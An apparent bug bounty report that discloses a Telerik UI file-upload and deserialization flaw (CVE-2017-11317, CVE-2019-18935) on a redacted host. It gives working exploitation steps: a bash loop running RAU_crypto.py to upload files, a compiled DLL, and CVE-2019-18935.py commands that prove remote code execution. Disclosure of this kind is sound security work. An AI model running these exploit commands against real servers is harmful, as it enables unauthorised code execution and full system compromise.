Summary:
The website at https://█████████/apps/XTRAHome/Telerik.Web.UI.WebResource.axd?type=rau is vulnerable to CVE-2017-11317 and CVE-2019-18935, allowing an attacker to upload arbitrary files and gain remote code execution on the underlying system.
{ "message" : "RadAsyncUpload handler is registered succesfully, however, it may not be accessed directly." }
echo 'test' > testfile.txt
for VERSION in $(cat versions.txt); do
echo -n "$VERSION: "
python3 RAU_crypto.py -P 'C:\Windows\Temp' "$VERSION" testfile.txt https://█████/apps/XTRAHome/Telerik.Web.UI.WebResource.axd?type=rau 2>/dev/null | grep fileInfo || echo
done
The versions.txt
file I used has been attached to this report for ease of replication.
4. As shown in the results, the version is vulnerable to CVE-2017-11317 and I was able to successfully upload the testfile.txt
.
██████████
5. Next, on a Windows system with Visual Studio installed, compile a dll using build_dll.bat
as shown in the BishopFox article.
6. Using python3 CVE-2019-18935.py -u https://████/apps/XTRAHome/Telerik.Web.UI.WebResource.axd?type=rau -v 2016.2.607 -f 'C:\Windows\Temp' -p <your_created_dll>.dll
, if you compiled using the PoC in the article you should be able to make the server hang for around 10 seconds.
7. Once the sleep is over, the server should respond with a similar message as follows: [*] Response time: 12.34 seconds
showing the server is vulnerable to CVE-2019-18935.
8. At this point you can upload a reverse shell payload, but I feel the sleep PoC is good enough to prove RCE.
Telerik UI 2016.2.607
https://labs.bishopfox.com/tech-blog/cve-2019-18935-remote-code-execution-in-telerik-ui
https://github.com/bao7uo/RAU_crypto
https://github.com/noperator/CVE-2019-18935
https://hackerone.com/reports/838196
Follow recommended fix actions at https://www.telerik.com/support/kb/aspnet-ajax/details/allows-javascriptserializer-deserialization
Remote Code Execution/Total system compromise.